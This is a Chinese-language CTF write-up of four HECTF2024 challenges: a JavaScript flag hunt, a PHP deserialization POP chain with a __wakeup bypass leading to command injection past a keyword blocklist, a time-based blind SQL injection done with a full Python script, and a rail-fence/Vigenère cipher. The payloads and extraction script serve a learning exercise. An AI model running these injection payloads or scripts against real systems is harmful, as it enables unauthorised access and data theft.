HECTF2024

[HECTF2024]Are you happy?

题目来源:HECTF
题目类型:WEB
设计考点:JS代码分析

题目环境打开发现是一款游戏,那么根据经验就是在游戏的JS代码里找FLAG,F12发现提示是base64,
那么就在JS文件里找到base64字符串
​ game.js里找,flag在里面,根据flag的格式,flag开头是HECTF得到flag

[HECTF2024]baby_unserialize

题目来源:HECTF
题目类型:WEB
设计考点:POP链,PHP反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
<?php
error_reporting(0);
show_source(__FILE__);
echo "flag in /flag</br>";
class User{
public $name;
public $passwd;
public $msg;
public $token = "guest";
public function __construct($name,$passwd){
$this->name = $name;
$this->passwd = $passwd;
}
public function __wakeup(){
$this->token = "guest";
}
public function __destruct(){
if(!$this->check()){
exit(0);
}else{
echo $this->msg;
}
}
public function check(){
if ($this->token === "admin"){
return true;
}else{
return false;
}
}
}
class class00{
public function __call($a,$b){
return 1;
}
public function __set($a, $b){
$b();
}
}
class class01{
public $temp = 0;
public $str3;
public $cls;
public function __tostring(){
$this->temp = $this->cls->func1();
if ($this->temp === 1){
$this->cls->str1 = $this->str3;
}else{
echo "0";
return "0";
}
return "have fun";
}
}
class class02{
public $payload;
public function __invoke(){
if (!preg_match('/ls|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\*|sort|ch|zip|mod|sl|find|sed|cp|mv|ty|grep|fd|df|sudo|more|cc|tac|less|head|\.|{|}|tar|zip|gcc|uniq|vi|vim|file|xxd|base64|;|date|bash|\$|\x00|`|env|\?|wget|\"|\'|\\\|php|id|whoami|=/i', $this->payload)) {
system($this->payload." >/dev/null 2>&1");
}else{
die("fuck you Hacker");
}
}
}
if (isset($_POST["user"])){
$user = unserialize(base64_decode($_POST["user"]));
}else{
exit();
}

  1. 典型的php反序列化题

    首先寻找我们可以利用的点,发现$class02$当中有system语句且payload可控那么这里就是pop链的终点,他的触发魔术方式是__invoke那就要寻找哪里可以触发这个方法,注意到$class00$当中存在$b()当$b为class02类时就会触发invoke,那么又要寻找如何触发__set方法class01当中有一行代码

    1
    $this->cls->str1 = $this->str3;

    当str3为class02那么就相当于$b=new class02那么cls肯定为class00
    继续寻找如何触发__tostring,找到User类当中的destruct方法有echo,那么赋值msg=new class01(),但是他还要进过check()函数,就要让token的值为admin,但是反序列化会触发wakeup修改token那么payload就要绕过wakeup
    分析完毕

    1
    User:__destruct->class01:__toString->class00:__call->class00:__set->class02:__invoke

    构造payload

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47

    <?php
    class User{
    public $name;
    public $passwd;
    public $token;
    public $msg;

    public function __construct($name,$passwd){
    $this->name = $name;
    $this->passwd = $passwd;
    }
    }

    class class00{
    public function __call($a,$b){
    return 1;
    }
    public function __set($a, $b){
    $this->$b();
    }
    }


    class class01{
    public $temp = 0;
    public $str3;
    public $cls;

    }

    class class02{
    public $payload;
    }

    $a = new User("admin","123456");
    $a->token = "admin";
    $a->msg = new class01();
    $a->msg->cls = new class00();
    $a->msg->str3 = new class02();
    $a->msg->str3->payload = "payload";

    echo serialize($a);


    //O:4:"User":4:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}

    在观察页面php版本为5.4存在成员个数不同绕过__wakeup的方法
    直接修改payload

    1
    2
    3
    4
    5
    6
        //O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:7:"payload";}s:3:"cls";O:7:"class00":0:{}}}

    //Ly9POjQ6IlVzZXIiOjY6e3M6NDoibmFtZSI7czo1OiJhZG1pbiI7czo2OiJwYXNzd2QiO3M6NjoiMTIzNDU2IjtzOjU6InRva2VuIjtzOjU6ImFkbWluIjtzOjM6Im1zZyI7Tzo3OiJjbGFzczAxIjozOntzOjQ6InRlbXAiO2k6MDtzOjQ6InN0cjMiO086NzoiY2xhc3MwMiI6MTp7czo3OiJwYXlsb2FkIjtzOjc6InBheWxvYWQiO31zOjM6ImNscyI7Tzo3OiJjbGFzczAwIjowOnt9fX0=



    接下来就是分析WAF发现他过滤了绝大部分函数并且将输出和错误重定向到了“黑洞”,这里我们发现他没有过滤[]那么就可以用正则匹配绕过过滤/bin/ca[t]匹配cat命令,然后用||来绕过“黑洞”就可以回显flag了

    1
    2
    3
    4
    5
    6
    ///bin/ca[t] /fla[g] ||

    //O:4:"User":6:{s:4:"name";s:5:"admin";s:6:"passwd";s:6:"123456";s:5:"token";s:5:"admin";s:3:"msg";O:7:"class01":3:{s:4:"temp";i:0;s:4:"str3";O:7:"class02":1:{s:7:"payload";s:21:"/bin/ca[t] /fla[g] ||";}s:3:"cls";O:7:"class00":0:{}}}

    //Tzo0OiJVc2VyIjo2OntzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6NjoicGFzc3dkIjtzOjY6IjEyMzQ1NiI7czo1OiJ0b2tlbiI7czo1OiJhZG1pbiI7czozOiJtc2ciO086NzoiY2xhc3MwMSI6Mzp7czo0OiJ0ZW1wIjtpOjA7czo0OiJzdHIzIjtPOjc6ImNsYXNzMDIiOjE6e3M6NzoicGF5bG9hZCI7czoyMToiL2Jpbi9jYVt0XSAvZmxhW2ddIHx8Ijt9czozOiJjbHMiO086NzoiY2xhc3MwMCI6MDp7fX19Cg==

[HECTF2024]baby_sql

题目来源:HECTF
题目类型:WEB
设计考点:SQL布尔盲注

首先万能密码进入后台 1' or 1=1# 然后发现题目不会回显报错,并且只会回显某人今天打卡了和找不到此人,那么就采用布尔盲注的方法爆破,构造payload时发现information.schema被过滤了那么就用mysql.innodb_table_stats绕过但是这张表里没有列名就暗示后面需要用无列名注入,我们构造脚本爆破数据库
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
    #测试的时候服务器有点问题,爆破的时候总是要出问题,建议每一个函数多跑几次保证成功率,或者每次多修改一些time和sleep的时长保证正确率
from requests import post
import string
import time

alpha = """{_}[]-""" + string.ascii_letters + string.digits
url = "http://154.64.254.169:33113/worker.php"

def istime(data):
try:
resp = post(url,data=data,timeout=20)
return "not"
except:
return "timeout"


# 数据库长度为:7
def db_name_len():
i = 1
while True:
payload = "g01den'/**/or/**/if((select/**/length(database()))/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name":payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库长度为:%d"%i)
return i
i += 1


#数据库名为greatsql
def db_name():
name = ""
for i in range(1,8):
for j in alpha:
payload = "g01den'/**/Or/**/if(substr(database(),{},1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
name += j
break
print("数据库的名字是"+name)
return name


# 数据库的个数为4
def db_name_count():
i = 1
while True:
payload = "g01den'/**/Or/**/if((seLect/**/COUNT(database_name)/**/fRom/**/mysql.innodb_table_stats)/**/like/**/{},sLeep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库的个数为"+str(i))
return i
i += 1


# [10, 5, 5, 7]
def db_name_len_list():
name_len_list = []
for i in range(0,4):
for j in range(0,100):
payload = "g01den'/**/Or/**/if((select/**/length(database_name)/**/from/**/mysql.innodb_table_stats/**/limit/**/{},1)/**/like/**/{},sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
name_len_list.append(j)
break
print(name_len_list)
return name_len_list

# 上一个查询结果为四次,所以手动查四次,没跑完一次,修改limit后面的参数,以及第一层for循环的参数
# flag1shere
# mysql
# users
# workers
def db_name_list():
name = ""
for i in range(1,8):
for j in alpha:
payload = "g01den'/**/Or/**/if((select/**/substr(database_name,{},1)/**/from/**/mysql.innodb_table_stats/**/limit/**/3,1)/**/like/**/'{}',sLeep(20),sLeep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
name += j
time.sleep(2)
break
print(name)
return name

# 当前数据库的表有2
def tb_count():
i = 1
while True:
payload = "g01den'/**/Or/**/if((select/**/count(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere')/**/like/**/{},sleep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.3)
if istime(data) == "timeout":
print("当前数据库的表有"+str(i))
return i
i += 1

# 因为测出来有两个表,所以需要查两次
# 当前数据库表名长度为36
# 当前数据库表名长度为8
def tb_name_len():
i = 0
while True:
payload = "g01den'/**/Or/**/if((select/**/length(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/like/**/{},sleep(20),sLeep(0))#".format(i)
data = {"name": payload}
# print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
print("当前数据库表名长度为" + str(i))
return i
i += 1


# 因为存在两张表,所以得查两次
# flag_is_in_flag1shere_loockhere_flag
# flag
def tb_name():
name = ""
for i in range(1,37):
for j in alpha:
payload = "g01den'/**/Or/**/if((select/**/substr(table_name,{},1)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name/**/like/**/'flag1shere'/**/limit/**/0,1)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
# print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
print(j,end="")
name += j
break
print(name)
return name

# 数据库的数据个数为1
def flag_count():
i = 1
while True:
payload = "g01den'/**/or/**/if((select/**/count(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
print("数据库的数据个数为"+str(i))
return i
i += 1

# flag的长度为32
def flag_name_len():
i = 0
while True:
payload = "g01den'/**/or/**/if((select/**/length(flag)/**/from/**/flag1shere.lookhere)/**/like/**/{},sleep(20),sleep(0))#".format(i)
data = {"name": payload}
time.sleep(0.3)
if istime(data) == "timeout":
print("flag的长度为" + str(i))
return i
i += 1

# hectf{fl4g_1s_h5r5_n1ce_try_4_u}
def flag_get():
flag = ""
for i in range(1,34):
for j in alpha:
payload = "g01den'/**/or/**/if((select/**/substr(flag,{},1)/**/from/**/flag1shere.lookhere)/**/in/**/('{}'),sleep(20),sleep(0))#".format(i,j)
data = {"name": payload}
print(payload)
time.sleep(0.5)
if istime(data) == "timeout":
flag += j
print(flag)
break
print(flag)
return flag


[HECTF2024]迷茫的艾米莉

题目来源:HECTF
题目类型:Crypto
设计考点:栅栏密码,维吉尼亚密码

题目描述:迷茫的艾米莉 描述:在维吉尼亚小镇,园丁艾米莉的responsibility是照顾一座古老花园,每天修剪六段绿篱栅栏。一天,她 发现通往秘密花园的小径,入口却被封上了,上面有一串密文Y2w9Iobe_v_Ufbm0ajI05bfzvTP1b_c}{lr,请输入密码帮助艾米莉探索秘密花园

根据提示这是一串栅栏密码,W型KEY为6,解密得到

1
YIUIT{P0fo2bb51lbbmew_0f_rczav9_jv}

显然还不是flag,那么就要继续尝试
发现题干有responsibility一串字样,猜测可能为某个KEY,最会发现是

1
2
3
4
5
key: responsibility

HECTF{C0ng2at51ations_0n_comin9_in}

维吉尼亚密码

HECTF2024
https://lvyzcc.github.io/2024/08/04/Hectf2024/
作者
LvYz
发布于
2024年8月4日
许可协议